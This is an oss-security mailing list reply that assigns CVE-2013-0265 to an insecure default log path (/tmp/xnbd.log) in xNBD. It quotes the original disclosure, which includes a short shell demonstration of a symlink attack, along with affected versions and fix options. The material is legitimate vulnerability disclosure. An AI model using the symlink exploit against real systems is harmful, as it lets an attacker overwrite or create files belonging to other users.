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Message-ID: <51132202.20400@redhat.com>
Date: Wed, 06 Feb 2013 20:39:46 -0700
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: Sebastian Pipping <sebastian@...ping.org>
Subject: Re: CVE request: Insecure default log file path in
xNBD
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Hash: SHA1
On 02/06/2013 09:48 AM, Sebastian Pipping wrote:
> Hello oss-security!
>
>
> Target software ===============
>
> xNBD upstream https://bitbucket.org/hirofuchi/xnbd
>
> Official Debian packages
> http://packages.debian.org/sid/xnbd-server
>
>
> Description ===========
>
> xnbd-server (and xnbd-wrapper in some releases) use /tmp/xnbd.log
> for logging when parameter --daemonize (and no --logpath FILE) is
> given.
>
> The file is opened using flags O_WRONLY | O_CREAT | O_APPEND so
> there is a vulnerability against symlinks attacks.
>
>
> Demonstration =============
>
> Here is an exploitation example:
>
> $ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log
>
> $ touch DISK $ truncate --size=$((100*1024**2)) DISK
>
> $ /usr/sbin/xnbd-server --daemonize --target DISK
> xnbd-server(12462) msg: daemonize enabled xnbd-server(12462) msg:
> cmd target mode xnbd-server(12462) msg: disk DISK size 104857600 B
> (100 MB) xnbd-server(12462) msg: xnbd master initialization done
> xnbd-server(12462) msg: logfile /tmp/xnbd.log
>
> $ ls -l ~/ATTACK_TARGET -rw------- 1 user123 user123 653 Feb 1
> 16:41 \ /home/user123/ATTACK_TARGET
>
>
> Affected versions =================
>
> The latest code in the upstream Mercurial repository is not
> affected since it does not use logging to /tmp/xnbd.log (or any
> default location) any more.
>
> ----------------------------------------------------------------------
>
>
Version Status
> ----------------------------------------------------------------------
>
>
0.0.x not analyzed
> 0.1.0-pre VULNERABLE (xnbd-server only)
> 0.1.0-pre-hg20-e75b93a47722-2 VULNERABLE (xnbd-server and
> -wrapper) Mercurial tip not vulnerable
> ----------------------------------------------------------------------
>
>
>
> Options for a fix =================
>
> a) Use syslog with --daemonize and no default file location in
> general (i.e. what upstream did)
>
> b) Use /var/log/xnbd-server.log and /var/log/xnbd-wrapper.log for
> the hard-coded defaults
>
> c) Replace flag O_APPEND by O_EXCL (secure but reducing
> functionality)
>
> The attached patch applies approach (b) to version
> 0.1.0-pre-hg20-e75b93a47722.
>
>
> Best,
>
>
>
> Sebastian
Please use CVE-2013-0265 for this issue.
- --
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
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